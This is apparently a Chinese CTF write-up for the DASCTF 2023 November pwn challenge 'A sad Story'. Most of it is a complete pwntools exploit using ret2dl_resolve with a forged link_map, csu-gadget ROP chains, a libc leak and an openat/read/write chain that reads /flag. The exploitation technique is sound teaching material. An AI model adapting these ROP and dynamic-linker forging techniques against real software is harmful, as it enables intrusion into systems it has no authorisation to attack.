DASCTF 2023 11

本文最后更新于:2024年1月10日 凌晨

A sad Story

A sad Story

解法1:ret2dl_resolve

满足Partial RELRO防护,PIE未开启,溢出长度足够这几个条件,可以尝试直接用Partial RELRO执行write从标准错误里进行输出。

这里在本地执行时发现bss段不知为何开的非常大,远程并没有这种情况。做题时因为把rop链和linkmap布置地比较靠后,在远程处于一个不可写内存区域,导致远程一直打不通。实战中遇到这种超大bss有必要提前尝试远程,防止浪费时间。进行构造时,如果没有必要,也尽量把rop链子构造在bss靠近靠开头的位置,尽可能让二次调用的函数栈顶极限卡在got表附近。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
#coding=utf-8
from pwn import *
from socket import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

global p
global r
ELFpath=''
libcpath=''

DEBUG=2
PROCESS=1
REMOTE=0

run_mode=DEBUG
socket_flag=False

ELFpath='/home/jmpcliff/Desktop/challenge'
e=ELF(ELFpath)
os.chdir(ELFpath[:ELFpath.rfind('/')])

libcpath='/home/jmpcliff/Desktop/libc-2.31.so'
#libcpath='/lib/x86_64-linux-gnu/libc.so.6'
if(libcpath!=""):
libc=ELF(libcpath)


start_script='''
b*$rebase(0x10E4)
'''

if(socket_flag==False):
if(run_mode==DEBUG):
log.success("NO socket/Debug start")
p=gdb.debug(args=[ELFpath,start_script])
elif(run_mode==PROCESS):
log.success("NO socket/Process start")
p=process(argv=[ELFpath])
#p=process(ELFpath)
elif(run_mode==REMOTE):
log.success("NO socket/Remote")
p=remote('node4.buuoj.cn',28310)
#p=remote('127.0.0.1',10005)
else:
if(run_mode==DEBUG):
log.success("Socket / Debug")
r=gdb.debug(ELFpath,start_script )
elif(run_mode==PROCESS):
log.success("Socket / Process")
r=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])
pause()
p=remote('127.0.0.1',6666)


rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64 (data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
global run_mode
if(run_mode!=PROCESS):
return
text_base, libc_base = get_base(p, 'challenge')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x1140)
b*$rebase(0x1620)
b write
'''.format(text_base, libc_base)
if socket_flag==False:
gdb.attach(p, script)
else:
gdb.attach(r, script)

def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)

def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18) #ptr2relplt
#relplt
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)

#dyn_symtab
link_map+=p64(0)
link_map+=p64(know_got-0x8)

link_map+=b'/flag\x00\x00\x00'

link_map=link_map.ljust(0x68,b'B')

link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr

link_map=link_map.ljust(0xf8,b'C')

link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map

ru("can you help him???")
sl(str(1).encode())

ru("your choice:")
sl(str(1).encode())
ru(":0x")

textbase=int(str(r(12))[2:-1],16)-0x1249
LOGTOOL['textbase']=textbase
LOGALL()

debug()

# add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
magic_gadget=textbase+0x1232
#0x0000000000001643 : pop rdi ; ret
pop_rdi_ret=textbase+0x1643
pop_rsi_r15_ret=textbase+0x1641
leave_ret=textbase+0x141e
pop_rbp_ret=textbase+0x1233
gets_plt=textbase+e.plt['gets']
gets_got=textbase+e.got['gets']
read_plt=textbase+e.plt['read']
read_got=textbase+e.got['read']
vuln=textbase+0x1468
setbuf_got=textbase+e.got['setbuf']

dlresolve=textbase+0x1026

csu_2=textbase+0x163A
csu_1=textbase+0x1620

bss_start=textbase+0x4100
rop1_start=bss_start+0xb00
fake_rbp=bss_start+0x1800
fake_link_map_addr=bss_start+0xd00

fini=textbase+0x1658

offset=libc.symbols['write']-libc.symbols['setbuf']

#fake_link_map=create_link_map(offset,setbuf_got,fake_link_map_addr)
fake_link_map=create_link_map(offset,setbuf_got,fake_link_map_addr)

LOGTOOL['fake_link_map']=fake_link_map_addr

# pay1 =0x30*b'a'+p64(rop1_start)+p64(pop_rdi_ret)+p64(rop1_start-8)+p64(gets_plt)
# pay1+=p64(pop_rdi_ret)+p64(fake_link_map_addr)+p64(gets_plt)+p64(leave_ret)

pay1 =0x30*b'a'+p64(rop1_start)+p64(csu_2)+p64(0)+p64(1)+p64(0)+p64(rop1_start-8)+p64(0x408)+p64(read_got)+p64(csu_1)
pay1+=p64(0)+p64(0)+p64(rop1_start)+p64(2)+p64(read_got)+p64(0x30)+p64(rop1_start-8)+p64(leave_ret)

sl(str(2).encode())

pause()
sl(pay1)

gets_ret=bss_start+0xb88

rop1=p64(fini)+p64(fake_rbp)+p64(pop_rbp_ret)+p64(1)+p64(csu_1)
rop1+=p64(0)*7+p64(dlresolve)+p64(fake_link_map_addr)+p64(0)
rop1+=p64(pop_rdi_ret)+p64(gets_ret)+p64(gets_plt)

pay2=rop1.ljust(0x208,b'\x00')+fake_link_map

pause()
s(pay2)

libcbase=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['read']
LOGTOOL['libcbase']=libcbase

openat_addr=libcbase+libc.symbols['openat']
read_addr=libcbase+libc.symbols['read']
write_addr=libcbase+libc.symbols['write']

LOGTOOL['openat']=openat_addr

pop_rsi_ret=libcbase+0x2601f
pop_rdx_ret=libcbase+0x142c92

flag_str_addr=fake_link_map_addr+0x40

rop2 =p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0)+p64(openat_addr)
rop2+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(fake_link_map_addr+0x100)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
rop2+=p64(pop_rdi_ret)+p64(2)+p64(write_addr)

sleep(0.5)
sl(rop2)
pause()

LOGALL()


it()

解法2:magic gadget

待补充

解法3:低位覆写close

close覆盖其低位有概率将其改为syscall函数,实际上,这种低位覆盖思想对于那些简单封装系统调用的函数都是可行的。


DASCTF 2023 11
http://example.com/2023/11/30/Blog/Pwn/pwn wp/DASCTF 2023 11/wp/
作者
Jmp.Cliff
发布于
2023年11月30日
许可协议